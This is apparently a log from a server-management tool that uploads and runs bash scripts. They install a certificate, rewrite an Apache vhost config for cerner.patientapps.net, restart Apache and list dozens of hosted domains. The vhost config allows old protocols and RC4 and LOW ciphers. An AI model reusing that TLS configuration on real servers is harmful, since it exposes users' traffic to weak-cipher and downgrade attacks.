bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-12-15 06:00:54:
chmod 755 /tmp/pkp440459; /tmp/pkp440459; rm /tmp/pkp440459
2025-12-15 06:00:54:
dir=/etc/ssl/certs
2025-12-15 06:00:54:
PUT: /tmp/pkp825026
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/patientapps_cerner_net.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-12-15 06:00:54:
chmod 755 /tmp/pkp825026; /tmp/pkp825026; rm /tmp/pkp825026
2025-12-15 06:00:54:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_cerner_net.conf 46
<VirtualHost *:80>
ServerName cerner.patientapps.net
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/patientapps_preview/public
<Directory /var/www/patientapps_preview>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/cerner_access.log combined
ErrorLog /var/log/apache2/patientapps/cerner_error.log
SetEnv pkp_uid 18
SetEnv pkp_owner sii
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName cerner.patientapps.net
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/9165176ee0fe7a5f957c52572458ff70.crt
DocumentRoot /var/www/patientapps_preview/public
<Directory /var/www/patientapps_preview>
Options +FollowSymLinks -MultiViews
AllowOverride All
<Files "index.html">
FileETag None
Header unset ETag
Header set Cache-Control "max-age=0, no-cache, no-store, must-revalidate"
Header set Pragma "no-cache"
Header set Expires "Wed, 11 Jan 1984 05:00:00 GMT"
</Files>
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/cerner_secure_access.log combined
ErrorLog /var/log/apache2/patientapps/cerner_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-12-15 06:00:54:
PUT: /tmp/pkp286424
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=patientapps_cerner_net.conf
TARGET=/etc/apache2/sites-enabled/patientapps_cerner_net.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName cerner.patientapps.net
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/patientapps_preview/public
<Directory /var/www/patientapps_preview>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/cerner_access.log combined
ErrorLog /var/log/apache2/patientapps/cerner_error.log
SetEnv pkp_uid 18
SetEnv pkp_owner sii
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName cerner.patientapps.net
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/9165176ee0fe7a5f957c52572458ff70.crt
DocumentRoot /var/www/patientapps_preview/public
<Directory /var/www/patientapps_preview>
Options +FollowSymLinks -MultiViews
AllowOverride All
<Files "index.html">
FileETag None
Header unset ETag
Header set Cache-Control "max-age=0, no-cache, no-store, must-revalidate"
Header set Pragma "no-cache"
Header set Expires "Wed, 11 Jan 1984 05:00:00 GMT"
</Files>
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/cerner_secure_access.log combined
ErrorLog /var/log/apache2/patientapps/cerner_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/patientapps_cerner_net.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/patientapps_cerner_net.conf)= /etc/apache2//etc/apache2/sites-enabled/patientapps_cerner_net.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/patientapps_cerner_net.conf= 1'
fi
2025-12-15 06:00:54:
chmod 755 /tmp/pkp286424; /tmp/pkp286424; rm /tmp/pkp286424
2025-12-15 06:00:54:
2025-12-15 06:00:54:
PUT: /tmp/pkp997320
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-12-15 06:00:54:
chmod 755 /tmp/pkp997320; /tmp/pkp997320; rm /tmp/pkp997320
2025-12-15 06:00:54:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-12-15 06:00:54: Establishing a connection
2025-12-15 06:00:54:
PUT: /tmp/pkp853120
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-12-15 06:00:54:
chmod 755 /tmp/pkp853120; /tmp/pkp853120; rm /tmp/pkp853120
2025-12-15 06:00:55:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:1)
alias myapp.care
port 80 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:2)
port 80 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:2)
alias www.cn-dego.myapp.care
port 80 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:2)
alias www.d-oak.myapp.care
port 80 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:2)
alias www.ma1-acrp.myapp.care
port 80 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:2)
alias www.ma1-anfr.myapp.care
port 80 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:2)
port 80 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:2)
alias www.ma1-anin.myapp.care
port 80 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:2)
alias www.ma1-ankp.myapp.care
port 80 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:2)
alias www.ma1-anrp.myapp.care
port 80 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:2)
alias www.ma1-arcr.myapp.care
port 80 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:2)
alias www.ma1-asst.myapp.care
port 80 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:2)
alias www.ma1-chel.myapp.care
port 80 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:2)
alias www.ma1-cybb.myapp.care
port 80 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:2)
port 80 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:2)
alias www.ma1-epas.myapp.care
port 80 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:2)
alias www.ma1-fass.myapp.care
port 80 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:2)
port 80 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:2)
port 80 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:2)
alias www.ma1-ldhr.myapp.care
port 80 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:2)
alias www.ma1-lsst.myapp.care
port 80 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:2)
alias www.ma1-mtfp.myapp.care
port 80 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:2)
alias www.ma1-mvrc.myapp.care
port 80 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:2)
alias www.ma1-octf.myapp.care
port 80 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:1)
port 80 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:2)
alias www.ma1-ovin.myapp.care
port 80 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:2)
alias www.ma1-pfer.myapp.care
port 80 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:2)
alias www.ma1-prls.myapp.care
port 80 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:1)
alias www.ma1-rcl.myapp.care
port 80 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:2)
port 80 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:2)
alias www.ma1-rorp.myapp.care
port 80 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:2)
alias www.ma1-savr.myapp.care
port 80 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:2)
alias www.ma1-shem.myapp.care
port 80 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:2)
alias www.ma1-sspr.myapp.care
port 80 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:2)
alias www.ma1-tosr.myapp.care
port 80 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:2)
port 80 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:2)
alias www.ma1-tylo.myapp.care
port 80 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:2)
alias www.ma1-typa.myapp.care
port 80 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:2)
alias www.ma1-tyto.myapp.care
port 80 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:2)
alias www.ma1-utfa.myapp.care
port 80 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:2)
alias www.ma1-vasc.myapp.care
port 80 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:2)
alias www.ma1-vasr.myapp.care
port 80 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:2)
alias www.ma2-acrp.myapp.care
port 80 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:2)
alias www.ma2-anar.myapp.care
port 80 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:2)
alias www.ma2-anfr.myapp.care
port 80 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:2)
port 80 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:2)
alias www.ma2-anin.myapp.care
port 80 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:2)
alias www.ma2-anrp.myapp.care
port 80 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:2)
alias www.ma2-buni.myapp.care
port 80 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:2)
alias www.ma2-chel.myapp.care
port 80 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:2)
alias www.ma2-hamm.myapp.care
port 80 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:2)
alias www.ma2-hind.myapp.care
port 80 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:1)
alias www.ma2-lcl.myapp.care
port 80 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:2)
alias www.ma2-mdfu.myapp.care
port 80 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:2)
alias www.ma2-mtfp.myapp.care
port 80 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:1)
alias www.ma2-rcl.myapp.care
port 80 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:2)
port 80 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:2)
alias www.pai-ctsr.myapp.care
alias 563309.myapp.care
alias 179554.myapp.care
port 80 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:1)
alias www.pai-lc.myapp.care
port 80 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:2)
alias www.pai-ldhr.myapp.care
alias 296550.myapp.care
alias 144327.myapp.care
alias 654784.myapp.care
port 80 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:2)
alias 847670.myapp.care
alias 573398.myapp.care
port 80 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:2)
alias www.pai-lsst.myapp.care
alias 338088.myapp.care
alias 083491.myapp.care
port 80 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:1)
alias www.pai-rco.myapp.care
port 80 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:2)
alias www.sma1-lgb.myapp.care
port 80 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:2)
alias www.sma1-lrygb.myapp.care
port 80 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:2)
alias www.sma1-lsg.myapp.care
port 80 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:2)
alias www.sma1-pcnl.myapp.care
port 80 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:2)
alias www.test.myapp.care
port 80 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:8)
alias www.version2.myapp.care
wild alias *.myapp.care
port 80 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:2)
port 80 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:2)
port 80 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:2)
port 80 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:1)
port 80 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:2)
port 80 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:2)
alias live.patientapps.net
port 80 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:2)
port 80 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:2)
port 80 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:2)
port 80 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:1)
alias www.patientapps.net
port 80 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:2)
alias store.patientapps.com
alias store.patientapps.co
port 80 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:1)
alias www.patientappsinc.com
alias patientapps.com
alias www.patientapps.com
*:443 is a NameVirtualHost
default server www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
port 443 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
alias myapp.care
port 443 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:22)
port 443 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:19)
alias www.cn-dego.myapp.care
port 443 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:22)
alias www.d-oak.myapp.care
port 443 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:22)
alias www.ma1-acrp.myapp.care
port 443 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:22)
alias www.ma1-anfr.myapp.care
port 443 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:20)
port 443 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:22)
alias www.ma1-anin.myapp.care
port 443 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:22)
alias www.ma1-ankp.myapp.care
port 443 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:22)
alias www.ma1-anrp.myapp.care
port 443 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:22)
alias www.ma1-arcr.myapp.care
port 443 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:22)
alias www.ma1-asst.myapp.care
port 443 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:22)
alias www.ma1-chel.myapp.care
port 443 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:22)
alias www.ma1-cybb.myapp.care
port 443 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:21)
alias www.ma1-dego.myapp.care
port 443 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:22)
alias www.ma1-epas.myapp.care
port 443 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:22)
alias www.ma1-fass.myapp.care
port 443 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:22)
port 443 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:20)
port 443 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:22)
alias www.ma1-ldhr.myapp.care
port 443 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:22)
alias www.ma1-lsst.myapp.care
port 443 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:22)
alias www.ma1-mtfp.myapp.care
port 443 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:22)
alias www.ma1-mvrc.myapp.care
port 443 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:22)
alias www.ma1-octf.myapp.care
port 443 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:20)
port 443 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:22)
alias www.ma1-ovin.myapp.care
port 443 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:22)
alias www.ma1-pfer.myapp.care
port 443 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:22)
alias www.ma1-prls.myapp.care
port 443 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:8)
alias www.ma1-rcl.myapp.care
port 443 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:20)
port 443 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:22)
alias www.ma1-rorp.myapp.care
port 443 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:21)
alias www.ma1-savr.myapp.care
port 443 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:22)
alias www.ma1-shem.myapp.care
port 443 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:22)
alias www.ma1-sspr.myapp.care
port 443 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:22)
alias www.ma1-tosr.myapp.care
port 443 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:20)
port 443 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:22)
alias www.ma1-tylo.myapp.care
port 443 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:22)
alias www.ma1-typa.myapp.care
port 443 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:22)
alias www.ma1-tyto.myapp.care
port 443 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:22)
alias www.ma1-utfa.myapp.care
port 443 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:22)
alias www.ma1-vasc.myapp.care
port 443 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:22)
alias www.ma1-vasr.myapp.care
port 443 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:29)
alias www.ma2-acrp.myapp.care
port 443 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:22)
alias www.ma2-anar.myapp.care
port 443 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:22)
alias www.ma2-anfr.myapp.care
port 443 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:20)
port 443 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:22)
alias www.ma2-anin.myapp.care
port 443 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:22)
alias www.ma2-anrp.myapp.care
port 443 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:22)
alias www.ma2-buni.myapp.care
port 443 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:22)
alias www.ma2-chel.myapp.care
port 443 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:22)
alias www.ma2-hamm.myapp.care
port 443 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:22)
alias www.ma2-hind.myapp.care
port 443 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:19)
alias www.ma2-lcl.myapp.care
port 443 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:22)
alias www.ma2-mdfu.myapp.care
port 443 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:22)
alias www.ma2-mtfp.myapp.care
port 443 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:19)
alias www.ma2-rcl.myapp.care
port 443 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:20)
port 443 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:22)
alias www.pai-ctsr.myapp.care
alias 563309.myapp.care
alias 179554.myapp.care
port 443 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:24)
alias www.pai-lc.myapp.care
port 443 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:22)
alias www.pai-ldhr.myapp.care
alias 296550.myapp.care
alias 144327.myapp.care
alias 654784.myapp.care
port 443 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:23)
alias 847670.myapp.care
alias 573398.myapp.care
